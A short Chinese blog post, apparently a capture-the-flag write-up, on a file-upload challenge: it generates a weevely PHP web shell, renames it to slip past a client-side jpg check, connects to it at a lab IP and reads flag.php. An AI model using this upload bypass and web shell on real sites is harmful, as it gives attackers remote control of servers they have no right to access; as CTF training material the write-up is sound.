上传漏洞

XRSec

发布于 2022-02-13 17:09:29

4420

发布于 2022-02-13 17:09:29

文章被收录于专栏：XRSec.Blog

首先，标题是upload，提示就是上传漏洞无非就是js拦截，代码拦截，看了以下网页head头，发现js代码，关键字jpg

weevely generate password ./1.php  #use weevely在当前目录生成1.php，密码passwd
mv 1.php 1.php.jpg

weevely http://220.249.52.133:57535/upload/1592554838.1.php password # weevely 连接
dir # 显示目录
cd ../..
发现flag.php
cat flag.php

得到flag

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

原始发表：2021-02-25，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自作者个人站点/博客前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度